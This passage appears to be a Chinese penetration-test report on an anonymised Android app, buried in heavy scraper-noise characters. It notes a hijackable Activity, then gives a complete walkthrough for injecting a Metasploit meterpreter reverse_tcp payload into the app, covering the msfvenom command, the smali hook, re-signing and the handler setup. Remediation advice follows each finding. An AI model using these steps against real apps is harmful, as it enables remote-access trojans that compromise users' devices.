9 [; u6 e& ~: R. Y# ^! `4 {8 D: O % K5 h% N ?3 K1 L6 }
+ K; C3 B0 Z' S* _& a1 a; H" l 表1-2 测试结果
- ?. L" q7 W- Q1 p
) t& r$ ?0 t. w
) e2 m- r, e( g( p
( ^0 C* @1 T5 G, j / b7 r; z! k. E
6 T9 e( j; p R. Z5 r
% G G# `6 ]) j
( q: A( A! D3 _
, h% _% s0 z: s( ^
& i# X \# D" a( ]5 K
3 D. O9 R- m2 l& K1 u) J! O7 b7 `3 @4 C% N, {. m
2 检测结果 % @3 `( f' c. i* i J6 I
j! k$ W2 |& n& Y: ^. Q& X
8 B* T) z# X9 `# z- Y3 a
' y4 g* v- U3 B# G
7 ~) T: f* v2 A' V; x4 ^' M
& |$ E4 L1 ~4 V9 g3 E 2.1 某某某
3 k2 b6 c) x2 M) D8 w2 u4 Z0 h7 ?, s' g* A$ a v% s
) S) [3 [& c% q! g0 y& k+ B
, v7 h5 V$ @3 S: H0 z$ Z ~
x* o* e E" I# r& n2 L _6 A) A9 L$ C
2.1.1检测目标 0 T, V. W2 u' S' _' N. a3 T
" |% @: d d5 U. N
, K7 y# l# i- }* Y/ \ T# P8 G1 |
% Y9 X& ^( f8 M0 {/ k2 C% y * D" d8 G% s; e
( q( p4 `5 R' i) T) L2 y$ Z
目标地址: 某某某某某某APP : X8 \3 h0 m+ ^. B
* \+ _3 h9 H7 L; B/ ?
4 o/ g) y! s! i/ Q6 t, v0 U
( l+ S+ F. Q0 f. y( k
6 r2 w5 w+ V# M! U' p
; [, p5 N0 Y. m1 t s7 ? 2.1.2检测结果 ' m* n' @9 E2 c% E" E
7 q% ~/ B* c6 n3 `$ h
8 A8 D( [4 o1 j/ h6 n/ k/ `
. @; }6 |* M& J* }% ~ 7 k0 Z+ e/ i0 T8 a {( D
$ I z" m7 ]1 @8 v# ?
2.1.2.1
* V8 J' o/ L Z& ^) R, ^) G: e
c6 S0 l: q8 q4 ^6 P1 b3 e! x4 \
3 ^ n; [( |* u. \' ?1 T# {; Z m. n
A5 M/ P2 f B3 x# W
7 W7 {) [4 Z0 |! N3 P$ f D5 X2 _+ b 漏洞链接地址:某某某某某某APP
; O0 G+ e6 L; }4 O
! O* M4 G! o1 k+ ~! T2 x1 t) j
/ h: U5 G, D/ k& ~8 G
$ i$ p9 D( @$ C& b0 C: C; C % Y* `* l/ b' p0 G: j, ^/ n
$ O: C, I* q6 f) }' E2 K3 h* ]
8 c$ y3 ~8 d* ]. n: P- ]( e+ g2 S& @( X0 P) b) N$ }
{5 w2 v/ \- z$ l% U4 [( i7 e2 L% K5 m V9 y
3 n+ r ^& H$ u' m/ n
$ T" W" n' {6 U; n 漏洞分析及取证: 9 d) f8 Y4 v; Y' d @, t# d
( V/ m) P3 _2 d& }+ _: L
0 } O, S P' {$ l6 e3 R. d) |! j
3 G' W" b! |; w' |+ O6 p- ?
) w8 ~; U# t9 f2 C; } 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
' r! b9 X! g- M, P
- C u1 ^/ ^! ~
/ ^" }5 g0 e! k0 ~$ ]4 |
' h3 m9 S6 @$ N5 [5 X5 j * y. N; c# l3 X9 T
% a( K. z/ W0 B3 J, ~
) g1 X* [: m+ @ Q% r( X* S
0 q1 l6 }$ }3 I8 _ |3 J' Y+ i
7 ^2 z; P5 C `7 y2 U' x& J
- `' c$ g8 s7 ^3 T: J
$ G. ], `1 J: `3 t0 M# M3 W3 y5 S* U( Z: X
& U* E- x! E; q. D+ q+ M* ^" [9 T9 t# B0 @3 T- }# N+ t0 O
9 j. a% q! Q. `
1 v% K% J* ?; {& U, c/ o9 q 7 y2 m* Q' }9 t. x2 S7 Q# h+ P
# v# c; Y! O# }6 ~! G! K
9 x6 e6 P8 S! G, J! W/ Y( X4 x& T5 N/ Q
. |8 b9 P! D- U( ?6 X r, ~% _2 E2 T* Q4 N5 K
( ~3 K# @7 l1 k9 Z* |' h; Q! q' A
5 i( c9 ?) b8 [' U" d
% j0 B- J3 A+ |2 `
! c0 O, y% f, _2 |' I0 I0 p
3 M' \' L0 Z3 Y6 _8 f9 t7 N
8 S, X& `6 R; e, y! Q- c$ s
6 [4 T7 {7 h. J2 {8 c9 ~/ h# x+ A% v4 x, J' G4 O9 k9 N
7 S. o# x, H6 z0 J: k
% z/ `* p7 G# m) D
; ~5 |" B( v' o( v. V. A9 Z3 ~/ ?7 p |, J ?! F, l) T
z; f) A, H4 ^' t
$ J$ U5 c# _9 J' x
漏洞危害:高
. O( v7 o; ?0 R5 h8 S7 t* `
( {8 @, r( l9 Z& S1 D% Q
; [2 h* ]" \$ l# P1 N3 [) s
/ p6 }' P& q! n ] m3 r" {" E; g) y( b5 F! d" l2 R) x
3 m& D/ l5 J! m/ a# T b. W
- p) Z* B6 l' g0 [: J1 m: y4 H. [* K+ I+ r
) @; M+ [* h8 f- k- x* K) `* ]3 J7 W' F" S1 [
+ s. F- m7 [3 k/ @/ g8 m! M
0 u( J3 R( ]0 g$ ?# J+ m! \ |
! S/ A4 j5 A i+ h$ t6 g W$ s# d5 U, q8 o# C% [$ o! p
& H( G; X, J( d1 s0 N
7 _$ v( `" A2 P) r" g. X$ n 严重程度 0 v! N3 \8 ~4 `$ ^3 ^' e
- I3 y5 q% R. w, ~9 ~% P
6 @4 T3 O# G8 k8 e. o5 a5 t: ]: A2 j
- l& N" }' c/ p' G1 @
| 4 @; o) G( ]" I$ T
$ L+ X9 Z3 r( J0 w ! k: U2 K$ @( l
$ g3 ]8 V: u$ u# t- D0 d& l2 E 5 I5 e% a% F8 T# B# ^3 P6 G4 P2 J
# {/ e7 C- W* r! F& I- J
高 4 \4 G* _8 P7 _: W6 m; B" ?+ V
0 C, T, Y, w" o" |
+ x1 F6 e" u) d4 a4 v
8 e% j N2 H' P% S( B% e3 x8 r7 { | ' C7 \9 a' K, { x% g
' }9 e9 Q: x/ X8 j* ^1 W$ f3 c
; c0 X: s. ?0 f$ u! P7 Q' m
: ~8 N( ^! }9 G- z- B# j
# q- M; h D& p h/ i! n+ u, c9 N" C0 G$ N7 |3 G4 Q
■ 5 A, e4 W+ o$ G" h j* I7 z
3 ~ H( l# A0 w* H* y& u, } * `" `. K/ E! [7 R9 O2 g) ^
8 R6 ]# p& q* E$ ~
|
, L* c6 q& \+ n) ]8 _2 Q n: J5 ^% L/ n0 e v9 |
- U- T1 K! S- y6 q
$ q! @- }2 @+ Y. K: M5 }4 y: S 7 ^. q2 g6 X' h
E& y' Z" a' L' ~4 m 中
. p# O- z/ u2 i. G. C
* q7 s8 k9 q( Y' B; N
* g/ _( ?/ b; q, V$ M$ p) q! w' S$ N
| $ H5 \" i* v ^; v2 i |; `
/ s, y5 m& l0 L0 f- ^* Q) z . D5 X3 E5 R6 G( K: m! C7 l6 N3 e2 J" P1 L
1 p/ x4 Y/ E$ z6 `6 v# g, @
# Q% ?- Z( e& k: A$ L
% ]+ a$ r( s" S" H
2 P: i) T& g( `, F: l+ Z2 b' S$ U5 T' f; r6 Y) J) m$ R2 H8 R
& ?( I0 i9 J2 ? G
# u e! u6 p. T- J | 2 I0 c4 E2 m8 ^/ D/ r- Q0 e
# [+ y8 n5 u" z# Q P
, |- c, W4 |, F; D. A2 q+ F5 q6 M9 y, A- s7 j0 q) y# ^1 I
( x; I4 z2 ]1 K( M" V5 e- e! q
# U8 E ]& q; p* H ~: [9 c 低 g% f6 ]( @% U* n9 V9 l- D/ k' {
9 A4 [' o3 s9 s6 j
- g$ G" ~" k. C$ }0 w1 b
# c/ ^# G2 B- g |
8 W& ]' P( b. I2 J
4 J* L, x8 I. y' [5 S; l 5 n& V, _2 m. V# h) X
8 N& u& }/ i5 L7 \ - K) W+ _% r# z! @; @
8 f, K9 m" G! y! }' w# Q. M
. `* ^- ~" a5 b+ m8 U
, n. c1 |% e" O D- W k
( v, k, g v+ t( i$ ?( m
9 r* E! G5 ?9 }4 {2 o7 a | % v& M/ Y0 h8 }" T$ s8 z
5 C9 D1 S6 W' ^# ]% E5 z
: F1 M5 O* U1 z% h. Y3 `4 h' \/ O
; q) g7 x# }" p v% Z' U 0 W0 Q- w, l6 V0 }
- Q: C$ x& b9 j- `
8 V$ V& D q( v. T# x% i
3 @( I+ G3 a1 f4 ~ t6 E4 O ) U6 f7 S9 Q( \! y
+ ? z/ t' w# g6 ~, `8 \
' I2 R2 _ l' i( N/ ?* f, Q9 K/ T) W
6 f$ B! E8 j$ l1 j6 F( a# r+ `
4 s- @* L: n$ K/ o+ M' U" y6 ~! p$ W; o- i5 Q
5 }. C: _8 Z0 G" }; @6 w1 y
9 E/ m& f8 e4 |9 D% n3 q. K
) D. G) u# E% F& Z+ q
Z+ l( X5 k5 i) k6 v2 } 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
3 ~- L4 {, D0 m/ v# f
( J0 @- i4 M6 x% h+ p, \( x$ p
3 T( |: r6 _& j) U
8 _& m2 `, Y+ S" T0 `3 P' r- C! Q
& B o) r5 [* m1 s, A4 z& B! d( V7 g/ }+ B2 F+ N! O
% L# Y( T* P% G: t3 z# t1 ?7 ]7 ?
+ `' [, H! T6 U& d8 ]
* ^% g5 {- O5 f1 S. E# [
. t& R" U6 U9 U8 s9 @5 N+ @- K$ s . B% `6 v0 ^& ^
/ H- a8 _1 X; @% C8 m- B9 p
' t$ v4 B0 ^% `& f4 k- n& E6 Z, n
' p! t* H# U/ k( h- }% {
* `& u3 r$ w' N
g6 f# z8 B6 b O8 B
0 | b4 h% z( q
/ ^& B- X% ^& X( Q. h: r! M1 ^ 2.1.2.2 ) X7 K9 g1 X6 I6 c+ ^0 p
1 \/ _6 s: N. j9 ]
" l4 x" U" B4 }. `' t
$ k2 Z7 W5 K% j' I! r4 F( H* ^3 J
* b! \& }. K! q
6 ?+ p* l' J/ K1 i& ^ 漏洞链接地址:某某某某某某APP
+ n% f1 I, ?9 P/ H* K3 |9 L2 [. M7 j) N( U
1 d4 G% W$ M7 P" @+ y3 L( e- X4 j3 u# X: A M. Y6 ]: c, v/ x: `
7 `& e! f1 |. K J7 V2 J O6 n. `: {0 a' K. O! ], F9 _8 s! _ S4 d; w9 W) E( U
漏洞分析及取证: ) K* z' e8 D& T8 H' q0 [% a
5 l. ?. B& o! g- ]+ n% s1 Y; c; S2 d
8 Q. u- Y. H, z
2 J6 H( p) k) T2 H3 m
- B7 s/ N/ k, T* a1 w# `$ F4 o9 H- k [9 `
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
- p; Q6 R( ^0 I
" U |$ I; I, w. `2 \) G. y
& h0 `$ Z z/ ^: k* b
3 g: y" h5 z) p! C- C% R
& F w2 |& G8 Y9 P" O) p& x
8 S. ]: y2 t6 ]" ]3 A3 [/ ~3 T 用Metasploit 生成木马 apk 5 l- _" z& i: E6 T9 d! E2 K
+ }& c9 `, e3 E. X% ] I+ s. _) Q
7 b2 l% b1 N Z0 p# P$ P, j `
/ d4 ]. i& ]8 ]" w
; Q$ L/ Y0 Y, k/ O1 t' c9 D& I% ~, D% Y& A. w2 J1 E, e
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
8 N) C2 q% t+ x/ P2 G' k8 k$ }
6 L0 h6 o( \% u K( d/ Y
2 z! s$ f0 i& v1 C# e D2 a. x- P$ H( \# o1 h E8 Z
* f1 Q8 \6 [) Y* u: n- x6 C% M' p7 n
反编译目标apk和木马apk 8 L5 w8 R, ?* S: y" _
" { u" X2 I% Z" t
) L( s3 e1 y- [" ^3 ^0 ^* |& K- y" }( G" Z4 b. a
) b6 g( J$ N6 x! |; t) Z9 i$ J* w1 V
apktool d target.apk
/ o- E. q3 t4 x! X
! q+ X4 u3 c5 C; K7 ]; ?
apktool d cockhorse.apk 4 O! L6 h- \4 ^ h
& y4 J, _5 ?4 d' Z; X; R
( p+ a6 m- O- K7 u/ w$ o
+ g# O: V* [; p& H$ E3 h. o& L( F 2 Z" l4 W* u& E! @2 `
" y1 u. m2 e. L" v! N$ p* Q6 l) _
木马 apk 注入目标 apk
$ ]* a( n W$ g5 A2 {! a9 T
' G! n! L4 k- P0 b( l8 [
$ Y" i- S" h( i! p% o7 B/ X
5 ~( X1 ~ S; s1 w/ N6 B9 u. s
# e8 r5 t& `2 X8 D& \- n- j. k- D* Z
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
. q: |4 h( }. I2 ^" ]
; B u+ s% ~2 D4 T+ O, v invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V $ Q4 Z4 {$ R1 T# L6 K) I+ I% O) V
/ S2 f1 [1 x. Y K2 X
" t6 [$ S! D! F: w
# @; H5 @2 m+ \7 F6 a
& W! Q1 {$ G8 H" }7 d. C
5 Y9 E4 [6 G4 t" e0 ^( A' {, { 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
# f5 N4 m7 w; f, w$ E1 T2 E3 C2 Z, T5 e/ R
# r m: O% E% K3 [( d" R) D+ k
$ d6 o3 ~$ A- @* N7 o7 k6 H
% N6 n; E, H1 o+ ?; Y
! E$ {, I- B& s* E 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 , ^$ _: ~. p% d s0 s% \
/ U6 S9 E" ^& o8 E7 I+ Q
0 }( H: F _& g- D
- A* `: U- g& c
! \% j. D. F* o7 {! ^" P/ W- z2 u5 E8 M& }0 a
回编译生成最终 apk # j# f J- W$ Q% ~ J7 a9 g: ^: k
9 Y- Q+ i; k7 X8 ] H& z! r. S
8 C! E& O, I7 U$ \. | C I- H W" P3 d2 @0 @! [! b
$ S4 A7 w# K% j3 v
4 ]( O' ^. U2 }# s
重新打包 " b! G$ n; q/ H* G0 d
5 t, [" p+ m$ w" C
9 N, s2 Y8 ]$ i, _
! e/ V) f+ C# |* m4 Z7 c+ \- j
1 A+ J. t \8 ?8 u. H, G+ z1 N" S5 _- c* u4 @3 `: J; X$ S
apktool b -o repackage.apk target_app_floder 2 F( H' q! M0 n6 {+ p% B
: Y2 V/ Y8 f3 p0 A# O9 A
2 z" [5 {+ k: v8 X: ?. g8 B
2 y v7 f t: h3 z! c" ?
8 j5 G, l. C# @' I; }6 O0 W/ a8 ]4 S7 J' B
创建签名文件,有的话可忽略此步骤 & a% |) O7 M7 B& e
+ D0 N3 h1 @+ X7 J/ Z+ p, Z
/ E+ g2 g% l4 v* P& z' a1 U9 ?0 g% I: R/ X8 y
7 Q( |0 ]' a! F" t) d) O
: j2 ~. Z' l4 ?
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
2 r5 u8 ]0 l. f( y0 M" u6 j- _+ `- L' U$ V! U5 H* k
" h% Z+ R, ^4 V ?. L% i
( u; U# A1 Q5 w& u: ^ ' g, R& ~4 h; w
: r- O( {3 e. ~6 I
签名,以下任选其一 6 i) Y u# f! }% n# M
2 l8 z" ]4 l9 E* t' |& c t
' b9 S" b" X. C/ c/ R* E1 l7 b2 ^* c/ r. g
- R' U) v& X X% C
1 C9 f; i* F; I* k, t J/ R jarsigner 方式 4 K: s' `! j; a ], {
! |) z5 Q+ V6 o4 H! P8 j. u
* l& }3 D. Q5 `7 J: z, r& }: v5 J. m1 f: A3 A/ p/ M9 p( A
$ _4 v- C6 Y2 u, I8 ?5 o
$ Q! k" @! {. O" G jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
/ l9 n: y' h% y/ ]: E+ \% ]5 W
( I* |( i9 S1 A' C
. c* q& {8 u! q% |9 `( n# J! k
C0 D5 H# S5 `2 D8 X 5 C/ |4 C1 p5 @ m3 m% h
1 ]7 i( X( Q3 F apksigner 方式 - [2 d6 s7 c2 k1 U; s0 n
. s& p- z# o# i1 ?
2 ~3 t& J2 a4 S) n1 ]5 N% G. u3 ^- @- I7 \# T+ h3 @
1 q& _7 T( I4 a3 [: U" D. `4 F+ M3 @3 y4 |1 O; O9 q
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk & k5 I; l, K5 {: v& ?2 p) U
7 L6 ~5 b1 s# q. _5 [) I& [
& c3 u' N( I2 u" i0 h' v( A
* \! Z2 F2 L8 @7 N 9 j8 X4 R2 F1 [7 _+ @5 ~
% k' G) g5 U5 ?7 m% s) h
如需要禁用 v2签名 添加选项--v2-signing-enabled false 8 g$ i$ `7 W! ]- v- K; |" ?6 ?
3 s! |$ H! y* a
3 c; V0 `" c3 O8 ?! X
4 h6 V4 E n( i6 S- ~
+ x: P( |2 b! N7 o) R- H! L
& c+ G4 ^. }, s6 H8 M 验证,以下任选其一
! L& a V b5 \' }: V4 I
8 ]$ e* T0 u0 A4 `2 o6 {
& b. b* R+ u8 T' X, I+ V
& ?+ |) Y2 I! X* d. Z
4 K- G1 Y" P3 o) F% |2 m
6 X ^- U2 X4 L6 F jarsigner方式
$ w, y P; w, @; C w* n% p# F4 C4 H/ e) h
- F. b D9 Y5 X( _; R7 z
- D1 |' g$ y' [' f. K/ D
* t9 U/ N( M, z( m \) L7 ] `
m, I( Q7 B' A/ u" F& F jarsigner -verify repackaged.apk
# {8 h! p ?0 p
$ T r/ V5 j% f8 ? k" A
# ^ f* k1 K/ r2 N1 q% ?
2 V9 C) ]# G: F$ k7 O" ~$ D- [2 J
5 i) ~ S7 {) f6 P4 w9 {& I- }0 R! K/ B0 u+ ]: }1 c
apksigner 方式 - ]9 B5 P7 \: O& T3 Z% F
' U5 @- R/ s; X5 `! C
+ u" d' L5 W7 O; G4 U
( {7 v/ Z0 z; u0 Z* X" P
$ _+ w2 ?7 m) l$ p1 Q
- d5 \* Z m3 d: I apksigner verify -v --print-certs repackaged.apk - s6 S4 P0 I( j. ?6 I$ @1 D
* d- n5 y, P C9 p
: d4 B" W/ T3 N+ ]$ _% W) e8 |- l7 V% n
( s' A c2 s- d: @( t
) ?1 e" B+ j; R6 s! ` keytool方式
) h1 R+ n4 x" ~# r K0 u5 I) {0 x3 \3 d; G* ~% _1 e7 o# P
* V. }0 h0 Q. s: E
! } I* j+ ~4 K+ w" {
& T$ O* M, M1 X( z! Z
# C' t9 c5 S8 {; D9 Y keytool -printcert -jarfile repackaged.apk
3 q" ^" y6 a& N' O# ~1 Q8 L) d; ^0 m6 b7 d% x6 l
& B& i3 N0 N- h$ J/ q$ ~ }
7 j( q7 o0 i( N 7 A' F# w0 X6 G/ o
, {- L3 d1 v3 y1 C2 t
对齐
2 a X" T( q4 A+ |3 `. S' J
! ^% ?! U# T, k$ h3 {1 d1 E
9 |3 ^7 Z; j! s7 j f0 b# T, a( U/ N
, f$ Y2 H# G( `2 p* G ]
# T9 v' p% D4 j5 w- j: }% E) c4 M. Y
字节对齐优化 2 l: K0 d' x4 R/ X6 A. `8 [
$ J8 c9 F0 R$ I1 Z
; P% |0 c- G/ w$ \$ q; x7 ]% j q& Y Q4 u
$ b' X: ?5 y4 n" q4 p+ @8 I% D+ Z+ k# u3 y7 } J& p: }
zipalign -v 4 repackaged.apk final.apk
, _5 Z+ g2 [" a M$ l8 ]* G% ?0 N& J6 Y; |
& z, N, t: o1 u. f; w0 X7 G
& A& t5 W( _: ]+ y* f( L 0 X8 s! y+ U! T4 {; D; Z. t
2 [/ s3 c/ A" z2 C9 k. p# ~! c# Z
检查是否对齐 % n. g i9 N, J: R0 i
3 v, v M7 v q4 T
, r5 a; Z Q2 ~2 g Z- E* X# t; R0 h
: Q8 d0 c o: N5 _
" z7 \* _+ z2 Z" { zipalign -c -v 4 final.apk
2 d: i+ W8 j! J) w# i5 z9 H4 c5 ]& Y5 X) Y' L8 Y
0 E. \1 @/ A' m5 o, x1 v
8 F3 ~7 A0 A0 T& y
. d; z6 _9 J0 Y. H1 C0 `# k0 l+ ^- x3 S: t+ O# A
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
0 R% c$ e: t. n5 U
/ p- ~& ?9 G$ ?
. h" ?8 n. ~/ F7 `* w
) P% G- c L$ U3 u# r! G% \1 ~ : S) Z, A7 S6 q- p8 h) m
( {* B1 ]& p* }* u1 } 启动Metasploit控制台,配置参数等待上线
4 H% q( c& I6 J
9 Z6 P2 r7 V6 ?) ]( H Y T1 j6 i
- [* P- E* L" B
' U9 W) O r5 ]% o( {3 _
/ Y' d; U1 Q, q+ l' s* i: F6 v3 ^$ s- s
在终端依次输入如下命令
. i% ~' f3 h# p, [( U5 _( ~. y5 {" b/ B n
* A/ d% N7 ?% Z5 e6 x+ E. M
, m @' k- e5 ?7 g+ e ) Q1 l' O! }9 m4 }) d. Q
, W9 \% R9 i6 Z; D$ Y msfconsole " Y' \7 m0 R4 m8 P
2 B u* V. @* O7 S* j
7 w" B. i- Z/ L0 Y+ \( f5 r5 {: l: I9 D B9 z
% E8 s8 k# ?- x; u, G2 |( O2 G0 ]7 n, |: h- w" ~7 S
use exploit/multi/handler q' J* O5 E6 ^+ o- D
5 _- J6 ~8 q1 K8 [2 e6 W
) }4 S+ Z! H' a7 T: v( y
% N8 k9 y+ w" I9 |4 z
- {/ t. k6 I; j3 _: P- A$ Z9 @7 p/ Y4 F8 ]0 j8 x1 d/ B5 |
set PAYLOAD android/meterpreter/reverse_tcp
' ~0 z9 E6 \0 @( {9 o. ^+ ~" U" O0 U0 S3 O
1 a2 O! _/ O' A; U1 b* x2 d7 R& o4 \9 N, Q1 t: I% Q
, z" G, o4 q) C) G6 ^8 c% {. Y) y/ B; ]" n. c4 z
set LHOST 192.xxx.xx.xx 9 C G0 M4 e# e
% y% H9 Z1 t I$ B
& m2 i$ ?1 [" m
: G) c8 `/ |% o+ k/ t, Q: }5 Z$ S
7 F) t8 ^1 W0 b* W& c. |
! z; E- M% H! g set LPORT 4444
: ?5 X- u1 h, Q" o+ w; E; }* M5 b* w6 }) G4 V$ b7 T0 H
2 D6 P$ H- W, I. T( m$ W( e
- O7 G( [; D( L0 c+ U2 h
5 y5 q/ R4 ]( |' S; ?+ Q) p1 T; @8 i; {+ n/ |2 j/ I" I" J0 G' l
exploit / o1 {5 K! O! v7 Z* \
3 z, Y" E! I- _8 D4 |. @% M$ F/ y
' X- a; [, I/ e0 K$ N, C
+ }# R- R3 m8 p 2 v: N4 {$ B. V/ q" ^
: x: C2 K5 G( h$ V) H2 l4 u
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
1 h' f" i) J4 M' w1 T! v; @! R* q+ [. @! M
1 [( {. b( j0 W. S+ ~% A, e
3 ?% o$ @% S+ U$ I B' L' {
5 |1 S) _3 d* |6 T/ |2 _# ]6 k4 V* l* M+ [. i- p
漏洞危害:中 " P: `' K0 ?0 W9 d( D
! y, f( p: P8 N n$ X- h7 \
) H( g6 k3 k6 T8 N4 o" m6 c. z- [7 h* } s" n" Y9 b- M
& K3 t8 Z- h9 o& W8 j, E. @
& D9 O3 K, C5 `8 M9 x$ t - H) `! Y* ]; t# A" r G% B) f
( x0 N$ h: w R! W% V
( t: v$ m4 g7 P; H5 g; @5 c$ @
9 r, q$ i% q4 y# \3 A
# @2 t1 m1 d- C
* N w+ n0 `# B5 d
' L3 y4 [* ^* I8 @
0 ?% x2 W3 D2 L# ]4 n | ! N. l$ O/ k% \. V5 W* g; |& |% X
) e! A6 P; c* e7 m' {; Q
/ _. ]% B) U6 V3 o0 u
1 z; K7 q3 S5 B3 Q 严重程度
- W( t' R0 u0 d& q1 G/ y
, Q/ K4 p! s/ k) D4 ?
9 Q9 n& C/ x) W: v P$ s5 R5 D& W
! v0 i$ `) `5 i3 G0 h# s) w/ V |
9 h+ _; u0 m& P& r
6 C9 g" L9 a+ W+ R( H1 g
# b1 f0 a- d& w q
# K" }8 L8 v+ n5 F# I6 J w K
( [; c% d) T5 h! Q1 r
* R7 p( s" M% G3 U 高 7 K4 p4 h( v# y' P
- @0 Z( \9 g6 q8 `( M/ r
7 v; k5 n- F/ X/ k! Z4 P
& b: h6 D/ q* b) { Y5 A
| $ v9 q) Y7 f0 }. K+ P5 p9 E
% V) n6 S8 e: E O6 r- M+ } $ a6 _- T' {6 Y( C9 |0 Y9 ~5 r
+ H: k7 Q% ^/ M' H. v+ Y7 O
. f* A! A( b) I% K, Q! v
1 x1 v/ q4 [9 b ■
; r* J2 W/ J$ _) @8 W. }" C- x7 o" v: ~2 L, Z5 s9 y# O' v. `. T
9 X: |3 Y* c+ g/ E! K# o* B5 Z" `3 r/ v ^: P" X- C9 U
| " c" s# {) d/ t O6 O1 I5 l6 H) \
* ]- O* _! ]; K& ^* V
4 |8 h9 j9 u* { N
; Q* ?9 E L8 X! y
2 |4 @4 o; w P1 c/ U" M' r9 L- Y0 @, S& K9 k+ _; X' f4 n6 i& J! `* [
中 `$ q) Z3 |" |& u9 M
+ t. [5 k! g0 _, l
4 b+ Q7 ~, `4 n$ ]1 \: _( t
9 @6 X5 H2 o: Z" M7 D) D! K4 C% k
|
3 Q8 R2 K( j" I' D
1 O+ ~: _9 t& [. l
6 q8 }: u7 f) B
; V0 j& ~5 r7 x" Q! L
1 L) R. ^# i. f. p" J# [6 ^) c1 ^* x/ d) ^) Q( [
& _ n' e. B2 p7 o
% A7 A" A$ P. P0 F6 d# }& V+ y+ u, X
6 @3 q8 p* p' O. W( o; S( x* X) W6 \7 x: e
. k$ O) B+ ]' a- [* ~7 i
* X- K7 w2 W: O | . E% b8 y, j) K: l* P
) p" Y6 a" C( s0 z
3 r; A" C2 G* [' g7 R; x0 [+ E0 n
4 V/ Y$ b& l1 T/ @, @- v ( ~3 j6 Z: H6 T; `
, ?# ]6 d; l% ~' g o 低 ' S2 g) A. m4 L0 w$ O* u+ B9 \$ u
) M" [; W, N! T' c" m4 k; I' q
" P( o( _* Y% Z W# n1 u) T0 L. ^0 C9 w
| ; ?' z2 a* Q. M; ~. ^$ [8 ~
- P( ^9 z5 C8 b+ r6 \3 F" s
" m9 s/ ]$ I4 Y: f5 B1 x# h, R, _2 u! f |5 n8 r+ S
6 R) O/ s( q7 I
& D. I: v( A. f# A
( n$ Z' B, _* y. z! z d2 D1 l
0 O7 t5 i$ k, X) Z
z7 g/ a+ N7 c' w3 u- n! ~5 Z. @& {. r
: A& F( B# y4 ^# o2 T5 i
3 N4 E- }! T* ^3 A. k* d& ]+ [1 S |
/ Y0 Y2 @7 _6 x) J( D0 x' [* u8 u0 Q2 E
/ R1 L7 q5 {/ x$ E5 P, r3 B
; N7 t5 Q0 X; O' w7 q' T
" Y+ i6 B$ ^0 v8 |6 z
& `& T0 q" l- F8 [+ U
4 Y( X3 x7 k+ K" V% R6 E: g1 N/ U0 h- Z0 Z
3 F/ @/ a$ [! P( s" w
$ U3 S# v- d3 f. ^: ?
8 T3 M1 G: W" U' Q- i+ M* P
3 s6 U! z' t, L s$ f ' I2 e0 b- d# ~* m4 ^- M$ O; @ r0 |& e
" I! p7 {1 p7 D3 k( r' P
- M# H7 n- Y2 ?: {4 ~1 C1 C
. f# _5 A: Z/ E8 [ Y0 t* C
, {* k, {# U1 L. y; j/ T; l$ T$ Y4 R! m
修复方法:
! K* `* z, B" f# I, d# ~" I) d% q& N% V9 x% P1 i8 q3 a( e+ D0 @
1 X8 K& R$ |7 J# ]! ^6 L2 R% L* N* y
5 Z" h8 l; }7 m
/ S( Y9 W# r. M- f: H9 P0 d( d0 z 1.在 APP 启动时应做签名校验防止二次打包。
3 |6 }( n1 Q$ U: o0 t
- W0 I3 N, ^; W& j2 A 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
- U8 Z! ]7 u/ X
( w) M% d* l3 `2 s4 i* B! C; q8 t2 t
% L& J& _3 P5 d; E! r
/ I- i* E* r# N5 L/ K1 k
& v$ j7 m( }9 W+ ]0 R0 y# d
6 o$ `, \- m4 f' g+ D) F3 L- ^; p
* f4 H: @( c" M- c& y
* F( H0 t. F' s, [; x
9 Z( v' ~- e, a+ g: s1 \( l+ c# T1 n9 B
3 |, Y- d9 o0 ~$ h# H1 J i& J; E( b( W" Q
3 r1 x' f: m3 ^7 [3 N
" b& H% k2 W' H
* w3 X: ?# O) y6 ?" y/ T6 d8 F* v6 d7 P7 ?
5 z) A/ {( Z4 z, |
- w6 K e! l' W9 t
* \ l$ }$ ^$ c. Z. b
5 G( I) X' }1 m4 v, F+ \( f